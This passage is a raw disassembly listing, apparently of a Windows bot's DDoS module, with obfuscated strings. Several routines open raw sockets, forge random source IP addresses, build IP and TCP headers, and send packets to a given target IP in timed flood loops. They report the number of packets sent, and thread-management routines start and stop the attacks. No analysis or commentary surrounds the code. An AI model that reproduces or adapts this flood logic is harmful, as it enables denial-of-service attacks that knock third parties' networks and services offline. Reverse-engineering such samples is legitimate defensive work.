-80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi xor esi, esi push edi inc esi push 338h push 200h mov [ebp+var_1C], esi call sub_41E415 pop ecx mov [ebp+var_4], eax pop ecx mov ebx, 0FFh push 2 xor ecx, ecx pop edx xor eax, eax cmp [ebp+arg_14], esi lea edi, [ebp+var_54] mov [ebp+var_88], ecx mov [ebp+var_84], esi mov [ebp+var_80], edx mov [ebp+var_7C], 4 mov [ebp+var_78], 6 mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 0Eh mov [ebp+var_68], 15h mov [ebp+var_64], 2Ch mov [ebp+var_60], 6Fh mov [ebp+var_5C], ebx mov [ebp+var_58], ecx mov [ebp+var_4C], ecx stosd lea edi, [ebp+var_24] mov [ebp+var_48], ecx mov [ebp+var_44], ecx mov [ebp+var_40], 200h mov [ebp+var_3C], edx mov [ebp+var_38], 4 mov [ebp+var_34], 10h mov [ebp+var_30], 1A0Ah mov [ebp+var_2C], esi mov [ebp+var_28], ecx stosd jnz short loc_422C19 push offset dword_457C40 call sub_41E3EC pop ecx mov edi, eax jmp short loc_422C3D ; --------------------------------------------------------------------------- loc_422C19: ; CODE XREF: sub_422B50+B8j mov esi, 100h push esi call sub_42B4D7 pop ecx mov edi, eax push esi push edi call dword_456F4C ; gethostname push edi call dword_456FD4 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov edi, [eax] loc_422C3D: ; CODE XREF: sub_422B50+C7j push ebx push 3 push 2 call dword_4372BC ; socket lea ecx, [ebp+var_1C] push 4 push ecx push 2 push 0 push eax mov [ebp+arg_14], eax call dword_43728C ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_422CC3 cmp [ebp+arg_20], 0 mov edi, dword_437170 mov esi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" mov ebx, offset aSCanTUseRawOpt ; "%s Can't use raw opt: %d" jnz short loc_422C90 cmp [ebp+arg_24], 0 jnz short loc_422C96 call edi ; dword_437170 push eax push esi push ebx push [ebp+arg_1C] push [ebp+arg_18] call sub_41CE4A add esp, 14h loc_422C90: ; CODE XREF: sub_422B50+125j cmp [ebp+arg_24], 0 jz short loc_422CA9 loc_422C96: ; CODE XREF: sub_422B50+12Bj call edi ; dword_437170 push eax push esi push ebx push [ebp+arg_1C] push [ebp+arg_18] call sub_41CDD4 add esp, 14h loc_422CA9: ; CODE XREF: sub_422B50+144j push [ebp+arg_14] call dword_4372D8 ; closesocket push [ebp+arg_10] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread loc_422CC3: ; CODE XREF: sub_422B50+10Fj push [ebp+var_4] call sub_4297B8 mov esi, dword_437188 pop ecx mov [ebp+arg_24], eax call esi ; dword_437188 push [ebp+arg_0] mov [ebp+arg_1C], eax call dword_456F7C ; inet_addr push [ebp+arg_4] mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4372C4 ; ntohs mov [ebp+var_96], ax jmp loc_422DDF ; --------------------------------------------------------------------------- loc_422D07: ; CODE XREF: sub_422B50+2A0j call sub_429B9C cdq mov ecx, ebx and edi, 0FFFFFFh idiv ecx shl edx, 18h or edi, edx call sub_429B9C cdq mov ecx, 0F4h idiv ecx mov [ebp+var_50], edx call sub_429B9C cdq mov ecx, 1FA4h mov [ebp+var_18], 45h idiv ecx mov [ebp+var_17], 4 mov [ebp+var_20], edx call sub_429B9C mov [ebp+var_14], ax call sub_429B9C push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_4C] push eax call dword_456F38 ; ntohs push [ebp+var_4] mov [ebp+var_12], ax call dword_456F38 ; ntohs mov [ebp+var_16], ax mov [ebp+var_10], bl call sub_429B9C push 0Eh mov [ebp+var_C], edi cdq pop ecx idiv ecx push [ebp+arg_0] mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_F], al call dword_456F7C ; inet_addr mov [ebp+var_8], eax lea eax, [ebp+var_18] push 14h push eax call sub_41E3E8 mov [ebp+var_E], ax lea eax, [ebp+var_18] push 14h push eax push [ebp+arg_24] call sub_429420 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push [ebp+var_4] push [ebp+arg_24] push [ebp+arg_14] call dword_437294 ; sendto push [ebp+arg_C] call dword_437190 ; Sleep loc_422DDF: ; CODE XREF: sub_422B50+1B2j call esi ; dword_437188 sub eax, [ebp+arg_1C] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+arg_8] jbe loc_422D07 push [ebp+arg_24] call sub_4298F2 pop ecx push [ebp+arg_14] call dword_4372D8 ; closesocket xor eax, eax pop edi pop esi inc eax pop ebx leave retn sub_422B50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422E10 proc near ; DATA XREF: sub_40A9FE+941Ao var_2A5C = byte ptr -2A5Ch var_34C = byte ptr -34Ch var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_1C8 = byte ptr -1C8h var_148 = byte ptr -148h var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_94 = byte ptr -94h var_88 = byte ptr -88h var_80 = byte ptr -80h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = word ptr -62h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_36 = word ptr -36h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = word ptr -2Eh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2A5Ch call sub_429B60 mov eax, [ebp+arg_0] push ebx push esi push edi push 69h mov esi, eax pop ecx lea edi, [ebp+var_24C] rep movsd xor esi, esi push 0Eh inc esi xor ebx, ebx mov [eax+1A0h], esi mov eax, [ebp+var_24C] mov [ebp+arg_0], eax pop ecx xor eax, eax lea edi, [ebp+var_A7] mov [ebp+var_A8], bl rep stosd stosw stosb mov edi, dword_437188 call edi ; dword_437188 push eax call sub_429B8F pop ecx push 0FFh push 3 push 2 call dword_4372BC ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz loc_422F15 call dword_437170 ; RtlGetLastWin32Error push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" lea eax, [ebp+var_2A5C] push offset aSSD__0 ; "%s %s <%d>." push eax call sub_429B03 add esp, 14h cmp [ebp+var_B0], ebx mov edi, offset aS_5 ; "%s" jnz short loc_422ED8 cmp [ebp+var_B4], ebx jnz short loc_422EE0 lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CE4A add esp, 10h loc_422ED8: ; CODE XREF: sub_422E10+A4j cmp [ebp+var_B4], ebx jz short loc_422EFA loc_422EE0: ; CODE XREF: sub_422E10+ACj lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 10h loc_422EFA: ; CODE XREF: sub_422E10+CEj push 0FFFFFFFFh call dword_4372D8 ; closesocket push [ebp+var_C8] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_422F15: ; CODE XREF: sub_422E10+6Ej lea ecx, [ebp+var_3C] push 4 push ecx push 2 push ebx push eax mov [ebp+var_3C], esi call dword_43728C ; setsockopt cmp eax, 0FFFFFFFFh jnz loc_422FC3 call dword_437170 ; RtlGetLastWin32Error push eax push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A." push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" lea eax, [ebp+var_2A5C] push offset aSSD__0 ; "%s %s <%d>." push eax call sub_429B03 add esp, 14h cmp [ebp+var_B0], ebx mov edi, offset aS_5 ; "%s" jnz short loc_422F85 cmp [ebp+var_B4], ebx jnz short loc_422F8D lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CE4A add esp, 10h loc_422F85: ; CODE XREF: sub_422E10+151j cmp [ebp+var_B4], ebx jz short loc_422FA7 loc_422F8D: ; CODE XREF: sub_422E10+159j lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 10h loc_422FA7: ; CODE XREF: sub_422E10+17Bj push [ebp+var_8] call dword_4372D8 ; closesocket push [ebp+var_C8] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_422FC3: ; CODE XREF: sub_422E10+11Bj lea eax, [ebp+var_248] push eax call dword_4372C0 ; inet_addr cmp eax, 0FFFFFFFFh jnz loc_42305F push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" lea eax, [ebp+var_2A5C] push offset aSInvalidTarget ; "%s Invalid target IP." push eax call sub_429B03 add esp, 0Ch cmp [ebp+var_B0], ebx mov edi, offset aS_5 ; "%s" jnz short loc_423021 cmp [ebp+var_B4], ebx jnz short loc_423029 lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CE4A add esp, 10h loc_423021: ; CODE XREF: sub_422E10+1EDj cmp [ebp+var_B4], ebx jz short loc_423043 loc_423029: ; CODE XREF: sub_422E10+1F5j lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 10h loc_423043: ; CODE XREF: sub_422E10+217j push [ebp+var_8] call dword_4372D8 ; closesocket push [ebp+var_C8] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_42305F: ; CODE XREF: sub_422E10+1C3j push 10h lea eax, [ebp+var_4C] push ebx push eax call sub_429760 add esp, 0Ch lea eax, [ebp+var_34C] push 100h push eax call dword_4372E0 ; gethostname lea eax, [ebp+var_34C] push eax call dword_4372A4 ; gethostbyname mov eax, [eax+0Ch] push ebx mov eax, [eax] mov eax, [eax] mov [ebp+var_4C], 2 mov [ebp+var_C], eax call dword_456F38 ; ntohs mov [ebp+var_4A], ax lea eax, [ebp+var_248] push eax call dword_456F7C ; inet_addr mov [ebp+var_48], eax mov [ebp+var_4], ebx call edi ; dword_437188 mov [ebp+var_24], eax call edi ; dword_437188 sub eax, [ebp+var_24] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_C0] ja loc_423357 push 14h pop esi loc_4230DD: ; CODE XREF: sub_422E10+541j call sub_429B9C cdq mov ecx, 0FFh push 28h idiv ecx mov eax, [ebp+var_C] mov [ebp+var_38], 45h and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call dword_456F38 ; ntohs cmp [ebp+var_B8], ebx mov [ebp+var_36], ax mov [ebp+var_34], 1 mov [ebp+var_32], bx mov [ebp+var_30], 80h mov [ebp+var_2F], 6 mov [ebp+var_2E], bx jz short loc_42312D mov eax, [ebp+var_C] jmp short loc_423138 ; --------------------------------------------------------------------------- loc_42312D: ; CODE XREF: sub_422E10+316j push offset dword_457C40 call dword_456F7C ; inet_addr loc_423138: ; CODE XREF: sub_422E10+31Bj cmp [ebp+var_C4], ebx mov [ebp+var_2C], eax mov eax, [ebp+var_48] mov [ebp+var_28], eax jnz short loc_423159 call sub_429B9C cdq mov ecx, 401h idiv ecx push edx jmp short loc_42315F ; --------------------------------------------------------------------------- loc_423159: ; CODE XREF: sub_422E10+337j push [ebp+var_C4] loc_42315F: ; CODE XREF: sub_422E10+347j call dword_456F38 ; ntohs mov [ebp+var_1E], ax call sub_429B9C cdq mov ecx, 401h idiv ecx push edx call dword_456F38 ; ntohs push 12345678h mov [ebp+var_20], ax call dword_456F34 ; ntohl mov [ebp+var_1C], eax lea eax, [ebp+var_1C8] push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1" push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4231B2 mov [ebp+var_18], ebx mov [ebp+var_13], 2 jmp loc_423247 ; --------------------------------------------------------------------------- loc_4231B2: ; CODE XREF: sub_422E10+394j lea eax, [ebp+var_1C8] push offset a6x7zf1eztny_ ; "6x7zf1EztnY." push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_4231D2 mov [ebp+var_18], ebx mov [ebp+var_13], 10h jmp short loc_423247 ; --------------------------------------------------------------------------- loc_4231D2: ; CODE XREF: sub_422E10+3B7j lea eax, [ebp+var_1C8] push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH." push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_42320B call sub_429B9C push 3 cdq pop ecx idiv ecx mov [ebp+var_18], edx call sub_429B9C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh jmp short loc_423241 ; --------------------------------------------------------------------------- loc_42320B: ; CODE XREF: sub_422E10+3D7j lea eax, [ebp+var_1C8] push offset a7otcu0fic6v0 ; "7otcU0FiC6V0" push eax call sub_42AEA0 pop ecx test eax, eax pop ecx jz short loc_423247 call sub_429B9C push 3 cdq pop ecx idiv ecx mov [ebp+var_18], edx call sub_429B9C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, cl loc_423241: ; CODE XREF: sub_422E10+3F9j add dl, 2 mov [ebp+var_13], dl loc_423247: ; CODE XREF: sub_422E10+39Dj ; sub_422E10+3C0j ... push 200h mov [ebp+var_14], 50h call dword_456F38 ; ntohs mov [ebp+var_12], ax mov eax, [ebp+var_2C] mov [ebp+var_6C], eax mov eax, [ebp+var_28] push esi mov [ebp+var_E], bx mov [ebp+var_10], bx mov [ebp+var_68], eax mov [ebp+var_64], bl mov [ebp+var_63], 6 call dword_456F38 ; ntohs mov [ebp+var_62], ax lea eax, [ebp+var_6C] push 20h push eax lea eax, [ebp+var_A8] push eax call sub_429420 lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_88] push eax call sub_429420 lea eax, [ebp+var_A8] push 34h push eax call sub_41E3E8 mov [ebp+var_10], ax lea eax, [ebp+var_38] push esi push eax lea eax, [ebp+var_A8] push eax call sub_429420 lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_94] push eax call sub_429420 push 4 lea eax, [ebp+var_80] push ebx push eax call sub_429760 add esp, 44h lea eax, [ebp+var_A8] push 28h push eax call sub_41E3E8 mov [ebp+var_2E], ax lea eax, [ebp+var_38] push esi push eax lea eax, [ebp+var_A8] push eax call sub_429420 add esp, 14h lea eax, [ebp+var_4C] push 10h push eax push ebx lea eax, [ebp+var_A8] push 3Ch push eax push [ebp+var_8] call dword_437294 ; sendto cmp eax, 0FFFFFFFFh jz loc_42340B push [ebp+var_BC] inc [ebp+var_4] call dword_437190 ; Sleep call edi ; dword_437188 sub eax, [ebp+var_24] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_C0] jbe loc_4230DD loc_423357: ; CODE XREF: sub_422E10+2C4j push [ebp+var_8] call dword_456FF0 ; closesocket mov eax, [ebp+var_4] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_C0] shr ecx, 14h push ecx push eax lea eax, [ebp+var_248] push [ebp+var_4] push eax lea eax, [ebp+var_1C8] push eax push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" lea eax, [ebp+var_2A5C] push offset aSSWithSToIpS_S ; "%s %s with %s to IP: %s. Sent: %d packe"... push eax call sub_429B03 add esp, 24h cmp [ebp+var_B0], ebx mov edi, offset aS_5 ; "%s" jnz short loc_4233D6 cmp [ebp+var_B4], ebx jnz short loc_4233DE lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CE4A add esp, 10h loc_4233D6: ; CODE XREF: sub_422E10+5A2j cmp [ebp+var_B4], ebx jz short loc_4233F8 loc_4233DE: ; CODE XREF: sub_422E10+5AAj lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 10h loc_4233F8: ; CODE XREF: sub_422E10+5CCj push [ebp+var_C8] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread loc_42340B: ; CODE XREF: sub_422E10+518j call dword_437170 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_248] push [ebp+var_4] push eax push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0" push offset aSErrorSendingP ; "%s Error sending packets to IP: %s. Pac"... lea eax, [ebp+var_2A5C] push 2710h push eax call sub_429BBE add esp, 1Ch cmp [ebp+var_B0], ebx mov edi, offset aS_5 ; "%s" jnz short loc_423469 cmp [ebp+var_B4], ebx jnz short loc_423471 lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CE4A add esp, 10h loc_423469: ; CODE XREF: sub_422E10+635j cmp [ebp+var_B4], ebx jz short loc_42348B loc_423471: ; CODE XREF: sub_422E10+63Dj lea eax, [ebp+var_2A5C] push eax lea eax, [ebp+var_148] push edi push eax push [ebp+arg_0] call sub_41CDD4 add esp, 10h loc_42348B: ; CODE XREF: sub_422E10+65Fj push [ebp+var_8] call dword_4372D8 ; closesocket push [ebp+var_C8] call sub_423623 pop ecx push ebx call dword_437174 ; ExitThread sub_422E10 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234A7 proc near ; CODE XREF: sub_4020BA+DAp ; sub_402459+120p ... var_26F8 = byte ptr -26F8h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov eax, 26F8h call sub_429B60 lea eax, [ebp+arg_8] push edi push eax lea eax, [ebp+var_26F8] push [ebp+arg_4] push 26F6h push eax call sub_42B8AA add esp, 10h xor edi, edi mov eax, offset dword_46B010 loc_4234D7: ; CODE XREF: sub_4234A7+40j cmp byte ptr [eax], 0 jz short loc_4234EB add eax, 2724h inc edi cmp eax, offset dword_6607E4 jl short loc_4234D7 jmp short loc_423527 ; --------------------------------------------------------------------------- loc_4234EB: ; CODE XREF: sub_4234A7+33j push esi mov esi, edi imul esi, 2724h lea eax, [ebp+var_26F8] push 270Fh push eax lea eax, dword_46B010[esi] push eax call sub_429D10 mov eax, [ebp+arg_0] and dword_46D724[esi], 0 add esp, 0Ch and dword_46D728[esi], 0 mov dword_46D720[esi], eax pop esi loc_423527: ; CODE XREF: sub_4234A7+42j mov eax, edi pop edi leave retn sub_4234A7 endp ; =============== S U B R O U T I N E ======================================= sub_42352C proc near ; CODE XREF: sub_40A9FE+D49p ; sub_4235A4+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_42359E cmp esi, 0CDh jge short loc_42359E imul esi, 2724h cmp dword_46D72C[esi], ebx jz short loc_423552 inc ebp loc_423552: ; CODE XREF: sub_42352C+23j push edi lea edi, dword_46D728[esi] mov dword_46D72C[esi], ebx mov dword_46D720[esi], ebx mov eax, [edi] mov dword_46D724[esi], ebx cmp eax, ebx jbe short loc_423578 push eax call sub_420105 pop ecx loc_423578: ; CODE XREF: sub_42352C+43j mov [edi], ebx lea edi, dword_46D730[esi] mov byte ptr dword_46B010[esi], bl push dword ptr [edi] call dword_456FF0 ; closesocket push ebx mov [edi], ebx push dword_46D72C[esi] call dword_437054 ; TerminateThread pop edi loc_42359E: ; CODE XREF: sub_42352C+Dj ; sub_42352C+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_42352C endp ; =============== S U B R O U T I N E ======================================= sub_4235A4 proc near ; CODE XREF: sub_40A9FE+CB5p ; sub_4182BA+659p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_46B010 loc_4235B0: ; CODE XREF: sub_4235A4+2Aj cmp byte ptr [esi], 0 jz short loc_4235C1 push edi call sub_42352C test eax, eax pop ecx jz short loc_4235C1 inc ebx loc_4235C1: ; CODE XREF: sub_4235A4+Fj ; sub_4235A4+1Aj add esi, 2724h inc edi cmp esi, offset dword_6607E4 jl short loc_4235B0 pop edi mov eax, ebx pop esi pop ebx retn sub_4235A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235D6 proc near ; CODE XREF: sub_423654+1Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_46D724 loc_4235EA: ; CODE XREF: sub_4235D6+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_42360C test edi, edi jle short loc_4235FE cmp [esi], edi jz short loc_4235FE cmp ebx, edi jnz short loc_42360C loc_4235FE: ; CODE XREF: sub_4235D6+1Ej ; sub_4235D6+22j push ebx call sub_42352C test eax, eax pop ecx jz short loc_42360C inc [ebp+var_4] loc_42360C: ; CODE XREF: sub_4235D6+1Aj ; sub_4235D6+26j ... add esi, 2724h inc ebx cmp esi, offset dword_662EF8 jl short loc_4235EA mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4235D6 endp ; =============== S U B R O U T I N E ======================================= sub_423623 proc near ; CODE XREF: sub_402459+20Fp ; sub_402675+19Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 2724h mov dword_46D72C[eax], ecx mov dword_46D720[eax], ecx mov dword_46D724[eax], ecx mov dword_46D728[eax], ecx mov dword_46D730[eax], ecx mov byte ptr dword_46B010[eax], cl retn sub_423623 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423654 proc near ; CODE XREF: sub_40A9FE+A74p ; sub_40A9FE+218Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_14], eax jz short loc_423667 push [ebp+arg_14] call sub_42A100 pop ecx loc_423667: ; CODE XREF: sub_423654+8j push ebx push esi push edi push eax push [ebp+arg_18] call sub_4235D6 pop ecx mov [ebp+arg_14], eax test eax, eax pop ecx mov esi, offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" jle short loc_4236CB cmp [ebp+arg_8], 0 mov ebx, offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/" mov edi, offset aSSDS ; "%s %s %d %s" jnz short loc_4236AC cmp [ebp+arg_C], 0 jnz short loc_4236B2 push ebx push eax push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A add esp, 1Ch loc_4236AC: ; CODE XREF: sub_423654+3Bj cmp [ebp+arg_C], 0 jz short loc_423714 loc_4236B2: ; CODE XREF: sub_423654+41j push ebx push [ebp+arg_14] push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 1Ch jmp short loc_423714 ; --------------------------------------------------------------------------- loc_4236CB: ; CODE XREF: sub_423654+2Bj xor eax, eax mov ebx, offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/" cmp [ebp+arg_8], eax mov edi, offset aSSS_3 ; "%s (%s) %s" jnz short loc_4236FA cmp [ebp+arg_C], eax jnz short loc_423700 cmp [ebp+arg_10], eax jz short loc_423714 push ebx push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CE4A add esp, 18h loc_4236FA: ; CODE XREF: sub_423654+86j cmp [ebp+arg_C], 0 jz short loc_423714 loc_423700: ; CODE XREF: sub_423654+8Bj push ebx push [ebp+arg_1C] push esi push edi push [ebp+arg_0] push [ebp+arg_4] call sub_41CDD4 add esp, 18h loc_423714: ; CODE XREF: sub_423654+5Cj ; sub_423654+75j ... pop edi pop esi pop ebx pop ebp retn sub_423654 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423719 proc near ; DATA XREF: sub_40A9FE+EABo var_C8 = dword ptr -0C8h var_C4 = byte ptr -0C4h var_44 = dword ptr -44h var_34 = dword ptr -34h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0C8h mov eax, [ebp+arg_0] push ebx push esi push edi push 31h mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov ecx, [ebp+var_C8] mov dword ptr [eax+0BCh], 1 mov eax, [ebp+var_10] push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" mov [ebp+var_4], eax push offset aSThreadsList ; "%s Threads List:" test eax, eax lea eax, [ebp+var_C4] mov [ebp+arg_0], ecx push eax push ecx jnz short loc_42376B call sub_41CE4A jmp short loc_423770 ; --------------------------------------------------------------------------- loc_42376B: ; CODE XREF: sub_423719+49j call sub_41CDD4 loc_423770: ; CODE XREF: sub_423719+50j add esp, 10h xor ebx, ebx mov edi, offset dword_46B010 mov esi, offset aD_S ; "%d. %s" loc_42377F: ; CODE XREF: sub_423719+A8j cmp byte ptr [edi], 0 jz short loc_4237B4 xor eax, eax cmp [ebp+var_34], eax jnz short loc_423793 cmp [edi+2714h], eax jnz short loc_4237B4 loc_423793: ; CODE XREF: sub_423719+70j cmp [ebp+var_4], eax push edi push ebx lea eax, [ebp+var_C4] push esi push eax push [ebp+arg_0] jnz short loc_4237AC call sub_41CE4A jmp short loc_4237B1 ; --------------------------------------------------------------------------- loc_4237AC: ; CODE XREF: sub_423719+8Aj call sub_41CDD4 loc_4237B1: ; CODE XREF: sub_423719+91j add esp, 14h loc_4237B4: ; CODE XREF: sub_423719+69j ; sub_423719+78j add edi, 2724h inc ebx cmp edi, offset dword_6607E4 jl short loc_42377F cmp [ebp+var_4], 0 pop edi pop esi pop ebx lea eax, [ebp+var_C4] push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1" push offset aSEndOfList_ ; "%s End of list." push eax push [ebp+arg_0] jnz short loc_4237E7 call sub_41CE4A jmp short loc_4237EC ; --------------------------------------------------------------------------- loc_4237E7: ; CODE XREF: sub_423719+C5j call sub_41CDD4 loc_4237EC: ; CODE XREF: sub_423719+CCj add esp, 10h push [ebp+var_44] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread sub_423719 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_423800 proc near ; CODE XREF: sub_40204B+5p ; sub_4020BA+27p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_46D720 loc_423807: ; CODE XREF: sub_423800+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_423810 inc eax loc_423810: ; CODE XREF: sub_423800+Dj add ecx, 2724h cmp ecx, offset dword_662EF4 jl short loc_423807 retn sub_423800 endp ; =============== S U B R O U T I N E ======================================= sub_42381F proc near ; CODE XREF: sub_4033A3+Cp ; .text:0040A22Ep ... arg_0 = dword ptr 4 xor eax, eax xor edx, edx mov ecx, offset dword_46D720 push esi loc_423829: ; CODE XREF: sub_42381F+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_423842 add ecx, 2724h inc edx cmp ecx, offset dword_662EF4 jl short loc_423829 pop esi retn ; --------------------------------------------------------------------------- loc_423842: ; CODE XREF: sub_42381F+10j mov eax, edx pop esi retn sub_42381F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423846 proc near ; DATA XREF: sub_40A9FE+1265o var_27D4 = byte ptr -27D4h var_C4 = dword ptr -0C4h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_14 = dword ptr -14h var_10 = 